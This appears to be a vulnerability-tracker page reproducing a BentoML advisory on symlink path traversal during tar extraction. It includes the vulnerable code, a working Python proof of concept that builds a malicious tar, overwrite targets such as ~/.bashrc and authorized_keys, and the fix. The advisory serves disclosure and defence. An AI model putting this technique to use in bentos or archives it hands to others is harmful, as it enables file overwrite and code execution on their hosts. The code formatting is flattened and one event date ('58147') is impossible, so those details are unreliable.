CVE-2026-27905: BentoML has an Arbitrary File Write via Symlink Path Traversal in Tar Extraction

Published Mar 3, 2026
·
Updated

Arbitrary File Write via Symlink Path Traversal in Tar Extraction

Summary

The safeextracttarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.

Affected Component

- File: src/bentoml/internal/utils/filesystem.py:58-96 - Callers: src/bentoml/internal/cloud/bento.py:542, src/bentoml/internal/cloud/model.py:504 - Affected versions: All versions with safeextracttarfile()

Severity

CVSS 3.1: 8.1 (High) AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Vulnerability Details

Vulnerable Code (filesystem.py:58-96)

python def safeextracttarfile(tar, destination): os.makedirs(destination, existok=True) for member in tar.getmembers(): fn = member.name path = os.path.abspath(os.path.join(destination, fn)) if not Path(path).isrelativeto(destination): # Line 64: INCOMPLETE continue # Only checks member path, NOT symlink target if member.issym(): tar.extractmember(member, path) # Line 75: Creates symlink with UNVALIDATED target else: fp = tar.extractfile(member) with open(path, "wb") as destfp: # Line 92: open() FOLLOWS symlinks shutil.copyfileobj(fp, destfp)

The Bug

1. Line 64: Path(path).isrelativeto(destination) checks the member's OWN path, not the symlink target 2. Line 75: tar.extractmember() creates symlink with unvalidated target (e.g., /etc) 3. Line 92: open(path, "wb") follows the symlink, writing OUTSIDE the destination

os.path.abspath() does NOT resolve symlinks (only . and ..). The path check passes because the string path appears within destination, but open() follows the symlink to the actual target.

Proof of Concept

python import io, os, shutil, tarfile, tempfile from pathlib import Path

def createmalicioustar(targetdir, targetfile, payload): buf = io.BytesIO() with tarfile.open(fileobj=buf, mode='w:gz') as tar: sym = tarfile.TarInfo(name='escape') sym.type = tarfile.SYMTYPE sym.linkname = targetdir tar.addfile(sym) info = tarfile.TarInfo(name=f'escape/{targetfile}') info.size = len(payload) tar.addfile(info, io.BytesIO(payload)) buf.seek(0) return buf

with tempfile.TemporaryDirectory() as tmpdir: extractdir = os.path.join(tmpdir, 'extract') targetdir = os.path.join(tmpdir, 'outside') os.makedirs(targetdir) maltar = createmalicioustar(targetdir, 'pwned.txt', b'PWNED') tar = tarfile.open(fileobj=maltar, mode='r:gz') # Reproduce filesystem.py:58-96 os.makedirs(extractdir, existok=True) for member in tar.getmembers(): path = os.path.abspath(os.path.join(extractdir, member.name)) if not Path(path).isrelativeto(extractdir): continue if member.issym(): tar.extractmember(member, path) # Symlink target NOT checked else: fp = tar.extractfile(member) os.makedirs(os.path.dirname(path), existok=True) if fp: with open(path, 'wb') as destfp: # Follows symlink! shutil.copyfileobj(fp, destfp) assert os.path.exists(os.path.join(targetdir, 'pwned.txt')) print(open(os.path.join(targetdir, 'pwned.txt')).read()) # PWNED

Impact

1. Arbitrary file overwrite via shared bentos BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: ~/.bashrc, ~/.ssh/authorizedkeys, crontabs, Python site-packages.

2. Remote code execution via file overwrite Overwriting ~/.bashrc or Python packages achieves RCE.

3. BentoCloud deployments safeextracttarfile() is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.

Remediation

Validate symlink targets: python if member.issym(): target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname)) if not Path(target).isrelativeto(dest): logger.warning('Symlink %s points outside: %s', member.name, member.linkname) continue

Or use Python 3.12+ tar.extractall(filter='data').

References

- CWE-59: Improper Link Resolution Before File Access ('Link Following') - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Other sources

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.36, the safeextracttarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. This vulnerability is fixed in 1.4.36.

MITRE

Affected Software

2 affected componentsFixes available
pip/bentoml<1.4.36
1.4.36
BentoML BentoML<1.4.36

Event History

Mar 3, 2026
Advisory Published
via GitHub·05:46 PM
Data Sourced
via GitHub·05:46 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·10:45 PM
Data Sourced
via MITRE·10:45 PM
DescriptionWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
RemedyAffected Software
Dec 18, 58147
Event
via FIRST·01:43 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-27905?

CVE-2026-27905 is classified as a high severity vulnerability due to its potential for arbitrary file write.

2

How do I fix CVE-2026-27905?

To fix CVE-2026-27905, upgrade BentoML to version 1.4.36 or later.

3

What does CVE-2026-27905 affect?

CVE-2026-27905 affects BentoML versions prior to 1.4.36.

4

What type of vulnerability is CVE-2026-27905?

CVE-2026-27905 is an arbitrary file write vulnerability caused by symlink path traversal in tar extraction.

5

Is my system safe from CVE-2026-27905 if I use an updated version of BentoML?

Yes, using BentoML version 1.4.36 or later mitigates the risk posed by CVE-2026-27905.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203